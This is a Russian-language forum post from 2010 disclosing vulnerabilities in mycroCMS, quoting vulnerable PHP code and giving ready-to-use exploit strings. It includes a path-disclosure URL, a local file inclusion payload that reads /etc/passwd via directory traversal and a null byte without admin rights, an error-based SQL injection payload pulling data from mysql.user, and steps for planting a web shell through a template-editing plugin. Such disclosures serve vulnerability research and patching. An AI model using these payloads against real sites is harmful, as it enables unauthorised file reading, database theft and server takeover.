
07.02.2010, 17:10
|
|
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
С нами:
9419426
Репутация:
648
|
|
Продукт: mycroCMS
Сайт: http://sourceforge.net/projects/mycrocms/
Path diclosing
Код:
http://localhost/mycrocms/?entry_id='
LFI
Участок кода в /admin/admin.php:
PHP код:
if ($admin=="error"){
include ("error.php");
}elseif ($userManager->isLoggedIn()) {
if ($admin == "") {
include ("dashboard.php");
} else {
if (file_exists("admin/$admin.php")) {
include ("admin/$admin.php");
} else {
die("File admin/$admin.php does not exist!");
}
}
$userManager->setLastTime(time());
} else {
if ($admin == "") {
include ("dashboard.php");
} else {
if (file_exists("admin/$admin.php")) {
include ("admin/$admin.php");
} else {
die("File admin/$admin.php does not exist!");
}
}
$userManager->setLastTime(time());
}
Отсюда инклуд. Эксплуатация:
Код:
http://localhost/mycrocms/?admin=../../../../../../etc/passwd%00
(права админа не нужны)
SQL-Injection
magiq_quotes=Off
Смотрим в \include\Categories.php:
PHP код:
function get_category_by_id($id) {
global $sql, $categories;
// use array if preloaded
if (is_array($categories)) {
$res = array_search_recursive('category_id', $id, $categories);
}
if (!is_array($res[0])) {
$res = $sql->read('categories', 'category_id', $id);
}
return $res[0];
}
Теперь ищем метод read в классе sql. Весь код кидать не буду, но фильтрации там нет.
PHP код:
$sql = "SELECT * FROM `$tablep` " . $where . $order . $limit;
$result = mysql_query($sql);
Пример эксплуатации:
Код:
http://localhost/mycrocms/?cat_id=1'+and+row(1,1)%3E(select+count(*),concat(version(),0x3a,floor(rand()*2))
+x+from+mysql.user+group+by+x+limit+1)+and+'a'='a
Code Execution
Заливка шелла в админке. Идём в меню Plugins, там есть стандартный плагин second для редактирования шаблонов (а на деле - любых
файлов). Активируем его, затем идём на http://localhost/mycrocms/?plugin=second&page=themes и редактируем любой файл.
|
|
|